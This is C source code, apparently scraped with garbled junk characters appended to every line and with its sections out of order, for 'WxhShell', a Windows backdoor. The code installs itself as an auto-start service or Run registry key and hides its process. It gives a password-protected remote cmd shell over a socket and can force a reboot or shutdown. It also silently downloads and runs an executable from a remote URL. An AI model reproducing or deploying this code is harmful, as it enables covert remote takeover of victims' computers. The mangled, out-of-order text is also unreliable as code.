    if(Boot(SHUTDOWN)) SQdK`]4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [WR*u\FF  
    else { V4<f4|IL  
    closesocket(wsh); "6WE6zq   
    ExitThread(0); &7w*=f8I  
    } ,u5iiR  
    break; {>yy3(N  
    } .UUT@ w?  
  // 获取shell _]kw |[)  
  case 's': { ?J5E.7o  
    CmdShell(wsh); T mH5+  
    closesocket(wsh); zrA =?[  
    ExitThread(0); P9gAt4i  
    break; d`xDv$QZ  
  } ;C5 J ^xHI  
  // 退出 ](k}B*Ab h  
  case 'x': { kI~; 'M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kznm$2 b  
    CloseIt(wsh); mN" g~o*  
    break; \lpvRZ\L&g  
    } 9!Bz)dJ 3  
  // 离开  LII4sf]  
  case 'q': { B5qlU4km&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {G-y7y+E  
    closesocket(wsh); ;+~Phdy  
    WSACleanup(); tIW~Ng  
    exit(1); j[$+hh3:  
    break; RAoY`AWI  
        } q:P44`Aq  
  } rVb61$  
  } .#Lu/w' -M  
B|kIiL63 D  
  // 提示信息 q!) nSD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A{wSO./3  
} &bwI7cO  
  } eq4Yc*|9  
M^y5 Dep  
  return; 1v9 #Fr Y  
} GOY!()F  
4#D>]AX  
// shell模块句柄 Z7=k$e  
int CmdShell(SOCKET sock) |EP=<-|  
{ QqB9I-_  
STARTUPINFO si; !@f!4n.e|I  
ZeroMemory(&si,sizeof(si)); l\&Tw[O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; . L]!*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L@~0`z:>iP  
PROCESS_INFORMATION ProcessInfo; #D Oui]  
char cmdline[]="cmd"; M~djX} #\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Nk$OTDwP  
  return 0; hODq& 9!  
} y.WEO>   
9y;8JO  
// 自身启动模式 6z1>(Za7>  
int StartFromService(void) <w0$0ku  
{ =\x(Rs3  
typedef struct `;3fnTI:1  
{ ()EiBl(kWk  
  DWORD ExitStatus; HhT6gJWrU  
  DWORD PebBaseAddress; a>)|SfsE  
  DWORD AffinityMask; /~_,p,:aP  
  DWORD BasePriority; j<-YK4.t  
  ULONG UniqueProcessId; -Z&9pI(3R~  
  ULONG InheritedFromUniqueProcessId; ^r^)  &]  
}   PROCESS_BASIC_INFORMATION; O`'r:&#W  
1y6{3AZm<  
PROCNTQSIP NtQueryInformationProcess; 5H/D~hr&  
3/RNStd<L!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ),U>AiF]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $w ,^q+  
j%Z%_{6Ds*  
  HANDLE             hProcess; S!.H _=z%p  
  PROCESS_BASIC_INFORMATION pbi; fqD1Ej  
JX2@i8[~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u|M_O5^  
  if(NULL == hInst ) return 0; oGqbk x  
YjwC8#$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [UYE.$Y#(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e'5sT#T9l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \t%rIr  
m7.6;k.  
  if (!NtQueryInformationProcess) return 0; +{H0$4y  
\WZ]'o6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >vc$3%L[$  
  if(!hProcess) return 0; ,(Nr_K  
qBcwM=R3P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0tp3mYd  
+jGSD@32>  
  CloseHandle(hProcess); ])$Rw $`w  
%j2ZQ/z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uxD$dd?  
if(hProcess==NULL) return 0; .a]9rQQ&_  
L [=JHW  
HMODULE hMod; I@o42%w2  
char procName[255]; Eh|v>Yew  
unsigned long cbNeeded; {|/y/xYgy'  
@hj5j;NHK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0m&W: c  
{K>}eO:K  
  CloseHandle(hProcess); yDe#,|-p  
NmZowh$M  
if(strstr(procName,"services")) return 1; // 以服务启动 NVq3h\[X  
%H8s_O  
  return 0; // 注册表启动 u%I |os]  
} ynU20g  
&WoS(^  
// 主模块 o@A|Lm.   
int StartWxhshell(LPSTR lpCmdLine) #m36p+U  
{ h][$1b&B  
  SOCKET wsl; %g{<EuK]p  
BOOL val=TRUE; gP:H_nVh  
  int port=0; Xi81?F?[  
  struct sockaddr_in door; XmX{e.<NZ  
|Y]4PT#EE  
  if(wscfg.ws_autoins) Install(); oVja$;>  
y8CH=U[  
port=atoi(lpCmdLine); [}Pi $at  
jP"l5  
if(port<=0) port=wscfg.ws_port; LV!<vakCK  
HMPb%'U~  
  WSADATA data; 'MY0v_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vZ/Bzy@|  
a?ux  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >`=<(8bu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e)A-.SRiO$  
  door.sin_family = AF_INET; acdF5ch@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ="__*J#nze  
  door.sin_port = htons(port); 6z ,nt  
>Eqr/~Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N Obw/9JO  
closesocket(wsl); DRuG5|{I:  
return 1; YK6zN>M}E  
} s8iB>-dk  
7dtkylW  
  if(listen(wsl,2) == INVALID_SOCKET) { 9KGi%UIFvn  
closesocket(wsl); 4g^Xe-  
return 1; #jd&f,Tt  
} Y]])Tq;h5  
  Wxhshell(wsl); o2e gNTG  
  WSACleanup(); b_rHt s  
?Oyps7hXx  
return 0; RA$q{$arb  
VFLW @  
} \ICc?8oL  
y;xY74Nq  
// 以NT服务方式启动 8\B]!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Gx/kel[Y}  
{ @z1pE@7jK  
DWORD   status = 0; kYnp$8  
  DWORD   specificError = 0xfffffff; ;X)b=  
Bb zmq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .LA?2N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zyPc<\HoK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $fFh4O4  
  serviceStatus.dwWin32ExitCode     = 0; gjDxgNpa  
  serviceStatus.dwServiceSpecificExitCode = 0; g8L{xwx<  
  serviceStatus.dwCheckPoint       = 0; 1%`Nu ]D  
  serviceStatus.dwWaitHint       = 0;  G%5ZG$as  
lXOT>$qR<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qEajT"?  
  if (hServiceStatusHandle==0) return; {dXmSuO  
}(/\vTn*1  
status = GetLastError(); g=L80$1  
  if (status!=NO_ERROR) (,OF<<OH  
{ ^g N/5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \k>1q/T0V  
    serviceStatus.dwCheckPoint       = 0; ;\(X;kQi  
    serviceStatus.dwWaitHint       = 0; Td,s"p>Vq  
    serviceStatus.dwWin32ExitCode     = status; iWp 6^g  
    serviceStatus.dwServiceSpecificExitCode = specificError; i$JN s)I%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X(JE]6_  
    return; <tto8Y j  
  } N977F$B o  
`Y_G*b.Rm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8Ai\T_l  
  serviceStatus.dwCheckPoint       = 0; 7-A/2/G<  
  serviceStatus.dwWaitHint       = 0; Df5!z\dx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B&>z&!}  
} (Qf. S{;  
HvLx  
// 处理NT服务事件,比如:启动、停止 A5?q&VS}p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2wwJ>iR`  
{ O 8XHaVLg3  
switch(fdwControl) *~0U4kw+  
{ 7Xf52\7n  
case SERVICE_CONTROL_STOP: K n,td:(  
  serviceStatus.dwWin32ExitCode = 0; 9>9,   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yV?qX\~*  
  serviceStatus.dwCheckPoint   = 0; \qz! v  
  serviceStatus.dwWaitHint     = 0; vo>i36  
  { XJ e}^k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2KtK.2;7  
  } a4\j.(w)$D  
  return; E{BX $R_8  
case SERVICE_CONTROL_PAUSE: YDYN#Ob(;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l!mx,O`  
  break; W^YaC (I  
case SERVICE_CONTROL_CONTINUE: 8F9x2CM-[C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ve^gzE$<I  
  break; yS1i$[JV  
case SERVICE_CONTROL_INTERROGATE: YF)k0bu&;  
  break; d<Dm(   
}; }inV)QQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C`qE ,2.  
} ,Q<mU4  
~'v9/I-"  
// 标准应用程序主函数 y}1Pc*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) * -(8Z>9  
{ 6{!Cx9V  
DM,)nh6'  
// 获取操作系统版本 kgh0  
OsIsNt=GetOsVer(); s;cGf+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K5^`,}Q^  
Zm*qV!  
  // 从命令行安装 ,ygUy]  
  if(strpbrk(lpCmdLine,"iI")) Install(); 89Ir}bCr  
:!ablO~  
  // 下载执行文件 WG*),P?  
if(wscfg.ws_downexe) { A DVUx}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hBi/lHu'  
  WinExec(wscfg.ws_filenam,SW_HIDE); Mj`g84  
} 3,?LpdTS  
IG&twJR  
if(!OsIsNt) { uHq;z{ 2GI  
// 如果时win9x,隐藏进程并且设置为注册表启动 8]D0)  
HideProc(); foUB/&Ee  
StartWxhshell(lpCmdLine); 0< 93i   
} -9Dr;2\  
else  :!Nx'F9a  
  if(StartFromService()) 9oYE  
  // 以服务方式启动 0D Lw  
  StartServiceCtrlDispatcher(DispatchTable); ohjl*dw  
else ,b4oV  
  // 普通方式启动 uS5G(}[  
  StartWxhshell(lpCmdLine); 25 cJA4  
(hEg&@  
return 0; (67byO{  
} u+^KP>rM(  
f,x;t-o+R  
z*B?Hw),  
Xdf4%/Op  
=========================================== C1>zwU_zo  
05:?5M4};  
_F8THYg (  
jZD)c_'U  
OG9 '[o`8  
!yd ]~t 5Q  
" (D:-p:q.  
Gt)ij?~  
#include <stdio.h> w'E(9gV  
#include <string.h> v: veKA  
#include <windows.h> yf7|/M  
#include <winsock2.h> Mh{244|o[  
#include <winsvc.h> _PcF/Gyk  
#include <urlmon.h> HX)]@qL  
IXG@$O?y/  
#pragma comment (lib, "Ws2_32.lib") NcBz("  
#pragma comment (lib, "urlmon.lib") 4/%Y@Z5  
nRvaCAt^  
#define MAX_USER   100 // 最大客户端连接数  yj=OR|v  
#define BUF_SOCK   200 // sock buffer \d*ts(/a*  
#define KEY_BUFF   255 // 输入 buffer \~g,;>%7Y  
#m17cDL  
#define REBOOT     0   // 重启 {Kf5a m  
#define SHUTDOWN   1   // 关机 A{e>7Z72  
w3z'ZCcr;"  
#define DEF_PORT   5000 // 监听端口 ':3[?d1Es  
o".,JnbX l  
#define REG_LEN     16   // 注册表键长度 '4_c;](W  
#define SVC_LEN     80   // NT服务名长度 8 /%{xB^  
w51l;2$des  
// 从dll定义API U>OAtiq JX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cK >^8T^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =Z{jc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?J,,RK.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z(>QGzyc  
,`02fMOLc  
// wxhshell配置信息 *{P/3yH  
struct WSCFG { lXZ*Pb<j  
  int ws_port;         // 监听端口 y$9! rbL  
  char ws_passstr[REG_LEN]; // 口令 3H0B+F2XQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no PfyJJAQ[  
  char ws_regname[REG_LEN]; // 注册表键名 `lQ;M?D  
  char ws_svcname[REG_LEN]; // 服务名 YWs?2I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :Nv7Wt!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `a!9_%|8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Rj4C-X 4=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vQ]d?Tp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -Lu&bVt<>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R}cNhZC  
ec`re+1r  
}; +*Z'oCBJ,  
#lg R"%  
// default Wxhshell configuration $wi4cHh  
struct WSCFG wscfg={DEF_PORT, -cijLlz%+  
    "xuhuanlingzhe", zhm0 J-g  
    1, m[KmXPFht1  
    "Wxhshell", JXMH7  
    "Wxhshell", lx=tOfj8  
            "WxhShell Service", ]%y>l j?Y  
    "Wrsky Windows CmdShell Service", *c [^/  
    "Please Input Your Password: ", J8i,[,KcE  
  1, ~\8(+qIv%f  
  "http://www.wrsky.com/wxhshell.exe", i/skU9  
  "Wxhshell.exe" 1. +6x4%rV  
    }; BjagG/ sX  
gnjhy1o  
// 消息定义模块 N'WC!K.e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J{.UUw9Agd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \1LfDlQk)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o<%0|n_O&  
char *msg_ws_ext="\n\rExit."; ^!d0a bA  
char *msg_ws_end="\n\rQuit."; S1I.l">P  
char *msg_ws_boot="\n\rReboot..."; k=[s%O 6H  
char *msg_ws_poff="\n\rShutdown..."; 92t.@!m`  
char *msg_ws_down="\n\rSave to "; -fl6M-CYX  
,oh;(|=  
char *msg_ws_err="\n\rErr!"; ]d-.Mw,'  
char *msg_ws_ok="\n\rOK!"; vsZ?cd  
vy *-"=J  
char ExeFile[MAX_PATH]; D%nd7 |  
int nUser = 0; gFKJbjT|  
HANDLE handles[MAX_USER]; M:{Aq&.  
int OsIsNt; S,nELV~!  
(S?Y3l|  
SERVICE_STATUS       serviceStatus;  5QLK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; as!a!1  
($kw*H{Ah^  
// 函数声明 \0d'y#Gp*  
int Install(void); tV`=o$`  
int Uninstall(void); W.?/p~  
int DownloadFile(char *sURL, SOCKET wsh); E "}@SaB-  
int Boot(int flag); : S3+UT  
void HideProc(void); |5tZ*$nGa  
int GetOsVer(void); (or"5}\6-  
int Wxhshell(SOCKET wsl); R6O v  
void TalkWithClient(void *cs); z-606g  
int CmdShell(SOCKET sock); uBa<5YDF  
int StartFromService(void); |Ia9bg'1U  
int StartWxhshell(LPSTR lpCmdLine); p/?o^_s  
8"9&x} tl-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uT4|43< G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F{!pii5O9  
No} U[u.O  
// 数据结构和表定义 z__?kY  
SERVICE_TABLE_ENTRY DispatchTable[] = Xs2 jR14`  
{ w|-3X  
{wscfg.ws_svcname, NTServiceMain}, ]5c(:T F  
{NULL, NULL} "mf$E|  
}; t+iHsCG)>  
;//9,x9;t  
// 自我安装 U:C:ugm  
int Install(void) *k}m?;esb  
{ ?nGiif  
  char svExeFile[MAX_PATH]; MCmb/.&wu  
  HKEY key; xdm\[s  
  strcpy(svExeFile,ExeFile); {]<c6*gQ  
\ agZ D+  
// 如果是win9x系统,修改注册表设为自启动 T5."3i  
if(!OsIsNt) { Vv}R S@4U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LK~aLa5wG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8ROKfPj;z  
  RegCloseKey(key); p8_^6wfg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]*\MIz{56'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hj9TiH/+  
  RegCloseKey(key); Td|u@l4B  
  return 0; GQn:lu3j:  
    } %7)TiT4V  
  } 3X`9&0:j%  
} v}6iI}r  
else { o5tCbsHj-  
MhD'  
// 如果是NT以上系统,安装为系统服务 fw jo?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,UMr_ e{|  
if (schSCManager!=0) igfQ,LWe!  
{ |(z{)yWbC[  
  SC_HANDLE schService = CreateService b4e~Z  
  ( %-540V{q  
  schSCManager, &sWr)>vs  
  wscfg.ws_svcname, p8~lGuH  
  wscfg.ws_svcdisp, !%,7*F(  
  SERVICE_ALL_ACCESS, )N&SrzqTK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LJGpa )(  
  SERVICE_AUTO_START, 9kH~=`:?  
  SERVICE_ERROR_NORMAL, u^tQ2&?O!P  
  svExeFile, 1+; bd'Ie  
  NULL, }} =n]_f  
  NULL, E]OexRJ^i  
  NULL, sv% X8  
  NULL, N|DI k  
  NULL qY#*LqV  
  ); UhDQl%&He  
  if (schService!=0) FBNLszT{L  
  { 9{jMO  
  CloseServiceHandle(schService); +Y sGH~jX  
  CloseServiceHandle(schSCManager); #&}- q RA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CUI3^;&S  
  strcat(svExeFile,wscfg.ws_svcname); {5E8eQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J[ Gpd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SKL4U5D{  
  RegCloseKey(key); @|anu&Hm  
  return 0; x z8e1M  
    } ltNC ti{Q  
  } o+E~iC u5  
  CloseServiceHandle(schSCManager); '^m.vS!/  
} 3\XNOJH  
} .n]"vpWm[  
j#5a&Z  
return 1; )/$J$'mcxd  
} Jw;~$  
4^L;]v,|7  
// 自我卸载 [Km{6L&  
int Uninstall(void) Dt: Q$  
{  pux IJ  
  HKEY key; avRtYL  
f1 x&Fk  
if(!OsIsNt) { JY,$B-l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zd[rn:9\  
  RegDeleteValue(key,wscfg.ws_regname); Ek)drt7cy  
  RegCloseKey(key); t{]Ew4Y4%O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U6M ~N0)Yr  
  RegDeleteValue(key,wscfg.ws_regname); ; j!dbT~5  
  RegCloseKey(key); U#[&(  
  return 0; ]->"4,}  
  } S; % &X  
} ,<Q  
} pWV_KS  
else { 6nW)2LV  
PlkZ)S7C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); loVg{N :  
if (schSCManager!=0) Fc5.?X-  
{ PAYw:/(P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O+}py{ st  
  if (schService!=0) N#T'}>ty  
  { ^jMrM.GY  
  if(DeleteService(schService)!=0) { + `|A/w  
  CloseServiceHandle(schService); ,UY1.tR(  
  CloseServiceHandle(schSCManager); .Fo#Dmq3  
  return 0; "JB4 Uaa  
  } TJ"-cWpO1  
  CloseServiceHandle(schService); y8k8Hd1<f  
  } 7}X1A!1  
  CloseServiceHandle(schSCManager); %10ONe}  
} }nd>SK4  
} >O-KJZ'GV  
+8Lbz^#  
return 1; GTdoUSUq  
} %biie  
[:y:_ECs6  
// 从指定url下载文件 T8o](:B~  
int DownloadFile(char *sURL, SOCKET wsh) m)Plv+R}  
{ JQ03om--(  
  HRESULT hr; :wC\IwG~CE  
char seps[]= "/"; :0J`4  
char *token;  >(Y CZ  
char *file; ;qWu8\T+  
char myURL[MAX_PATH]; su%(!XJQpg  
char myFILE[MAX_PATH]; Z2g'&,uc#  
|.N[NY  
strcpy(myURL,sURL); d_!Z /M,  
  token=strtok(myURL,seps); }>@\I^Xm,  
  while(token!=NULL) !Km[Qw k-  
  { eYUb>M)  
    file=token; V]zc-gYI  
  token=strtok(NULL,seps); dCd~]CI  
  } <\&9Odqc  
TR DQ+Z  
GetCurrentDirectory(MAX_PATH,myFILE); *S,~zOYN  
strcat(myFILE, "\\"); lfgJQzi G  
strcat(myFILE, file); lz,M$HG<[  
  send(wsh,myFILE,strlen(myFILE),0); xi5"?*&Sb  
send(wsh,"...",3,0); ) D@j6r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +{:uPY#1  
  if(hr==S_OK) U^dfNi@q  
return 0; XY"b90  
else *ub2dH4/  
return 1; E4 X6f  
y:;.r:  
} 9;@p2t*v  
%O \@rws  
// 系统电源模块 q1}!Okr"2  
int Boot(int flag) xuioU  
{ ;U* /\+*h  
  HANDLE hToken; 5BVvT `<  
  TOKEN_PRIVILEGES tkp; [^qT?se{  
sINQ?4_8T  
  if(OsIsNt) { j"qND=15  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T9nb ~ P[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ? :H+j6+f  
    tkp.PrivilegeCount = 1; S{=5n R9j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /WN YS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `_\KN_-%Vu  
if(flag==REBOOT) { ~5KcbGD~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `c  
  return 0; y!FO  
} | b'Ut)E  
else { meX2Y;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J2z/XHS  
  return 0; %qc_kQ5%  
} 6 s=VU\  
  } ]m+%y+  
  else { y[_k/.1  
if(flag==REBOOT) { (]]hSkE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !xsfhLZK  
  return 0; *vb"mB  
} CRb*sfKDL  
else { mnpk9x}m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X-["{  
  return 0; $bTtD<a  
} [IYVrT&C'  
}  *&_*G~>D  
0 +=sBk (  
return 1; NqD]p{>Y  
} $k~TVm Yex  
zgb$@JC  
// win9x进程隐藏模块 '_c/CNs  
void HideProc(void) 'z$N{p40m  
{ 7+HK_wNi  
$TIeeTB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :j&enP5R(q  
  if ( hKernel != NULL ) ~o'1PAW7  
  { x UdF.c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  YSD G!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y7HFmGM  
    FreeLibrary(hKernel); '09|Y#F  
  } (y9KO56.V&  
dFz"wvu` o  
return; 6GxLaI  
} &S>{9 y%  
zd YH9d>D  
// 获取操作系统版本 p2STy\CS  
int GetOsVer(void) h@%Xy(/m'  
{ )9eI o&Nl  
  OSVERSIONINFO winfo; )-2Nc7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C~En0G1  
  GetVersionEx(&winfo); h P6f   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B;9,Qbb  
  return 1; {$frR "K  
  else 4"P9z}y=i  
  return 0; o 4F'z  
} MPB[~#:  
7b"fpB  
// 客户端句柄模块 | eBwcC#^  
int Wxhshell(SOCKET wsl) `J.,dqGb  
{ Sdq}?-&Sa  
  SOCKET wsh;  [Sm<X  
  struct sockaddr_in client; t'44X  
  DWORD myID; <6Q^o[L  
a#p+.)Wm  
  while(nUser<MAX_USER) ,.)wCZ,wca  
{ Z)rW>I  
  int nSize=sizeof(client); Ks.b).fH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <F9-$_m  
  if(wsh==INVALID_SOCKET) return 1; x{R440"  
"| nXR8t.r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Wdd}y`lS  
if(handles[nUser]==0) DGvuo 8  
  closesocket(wsh); 2 }xePX9?  
else qk& F>6<9*  
  nUser++; {hS!IOM  
  } Rpn<"LIoB:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k(ouE|B  
^>|ZN2  
  return 0; (5$Ge$  
} Z ]A |"6<  
XM]m%I  
// 关闭 socket t&U9Z$LS  
void CloseIt(SOCKET wsh) d.&_j`\F  
{ T<]{:\*n  
closesocket(wsh); lNe4e6  
nUser--; wv\X  
ExitThread(0); E1QJ^]MG.  
} LW1 4 'A}  
!u7KgB<=/F  
// 客户端请求句柄 DGFSD Py[  
void TalkWithClient(void *cs) FvsVfV U  
{ Ct=bZW"j/  
VEWW[ T  
  SOCKET wsh=(SOCKET)cs; 4  %0s p  
  char pwd[SVC_LEN]; 6P{bUom?  
  char cmd[KEY_BUFF]; y [Vd*8  
char chr[1]; +<E#_)}`D6  
int i,j; P'~`2W0sz  
>2#<gp3  
  while (nUser < MAX_USER) { e r3M vw  
6))":<J  
if(wscfg.ws_passstr) { v`4w=!4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <F3{-f'Rx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,6+j oKe-  
  //ZeroMemory(pwd,KEY_BUFF); dgVGP_~  
      i=0; DAw1S$dM  
  while(i<SVC_LEN) { *;Kp"j  
k^7!iOK2  
  // 设置超时 W?Z>g"  
  fd_set FdRead; p3P8@M  
  struct timeval TimeOut; P& 1$SWNyW  
  FD_ZERO(&FdRead); w:zo \  
  FD_SET(wsh,&FdRead); <K)]kf  
  TimeOut.tv_sec=8; zjoo;(?D|  
  TimeOut.tv_usec=0; J6#h~fpv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); . X!!dx1<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S_7]_GQ9  
75\ZD-{T:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j*3;G+  
  pwd=chr[0]; S9dx rm?  
  if(chr[0]==0xd || chr[0]==0xa) { rmg\Pa8W>  
  pwd=0; ,i_+Z |Ls  
  break; ;f%@s1u  
  } X;LYGJ{Xk  
  i++; =z}PR1X!  
    } S257+ K9  
O>)eir7  
  // 如果是非法用户,关闭 socket 5AT^puL]]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s9C^Cy^su  
} 0H_Ai=G  
qT?{}I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6 lzjaW5h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JE O$v|X  
(aYu[ML  
while(1) { ?e9tnk3  
21!X[) r  
  ZeroMemory(cmd,KEY_BUFF); ..yV=idI  
f`4=Bl&"{  
      // 自动支持客户端 telnet标准   jI,[(Z>  
  j=0; 0YoKSo  
  while(j<KEY_BUFF) { v7(7WfqP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;Tbo \Wp9  
  cmd[j]=chr[0];  ]]p\1G  
  if(chr[0]==0xa || chr[0]==0xd) { *k(FbZ  
  cmd[j]=0; S$b)X"h  
  break; 8*-)[+s9il  
  } ,Ee5}#dI  
  j++; DT-.Gdb8  
    } V_3oAu54s{  
[Fh YQI  
  // 下载文件 8cO?VH,nk  
  if(strstr(cmd,"http://")) { 1e\cJ{B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >FE8CH!W&  
  if(DownloadFile(cmd,wsh)) ") 8l'^Mq2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |-JG _i  
  else 5=;cN9M@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |ts0j/A]Pi  
  } g:uVl;>  
  else { wai3g-`  
TX5??o  
